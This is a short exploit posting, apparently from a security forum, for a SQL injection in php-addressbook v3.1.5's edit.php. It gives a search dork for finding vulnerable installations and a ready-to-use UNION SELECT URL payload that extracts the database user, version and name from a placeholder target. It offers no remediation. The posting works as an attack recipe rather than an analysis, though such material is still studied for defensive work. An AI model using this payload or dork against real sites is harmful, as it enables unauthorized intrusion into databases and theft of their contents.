27 lines
No EOL
527 B
Text
27 lines
No EOL
527 B
Text
@ php-addressbook v3.1.5(edit.php) SQL Injection Vulnerability
|
|
|
|
|
|
@ Author: Hussin X
|
|
|
|
@ Home : www.iq-ty.com<http://www.iq-ty.com>,
|
|
|
|
@ email: darkangel_g85[at]Yahoo[dot]com
|
|
|
|
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
|
|
|
|
@ script : http://sourceforge.net/project/showfiles.php?group_id=157964
|
|
|
|
@ DorK : php-addressbook v3.1.5
|
|
|
|
|
|
|
|
ExPloiT :
|
|
|
|
www.[target].com/Script/edit.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14--
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
IQ-SecuritY FoRuM |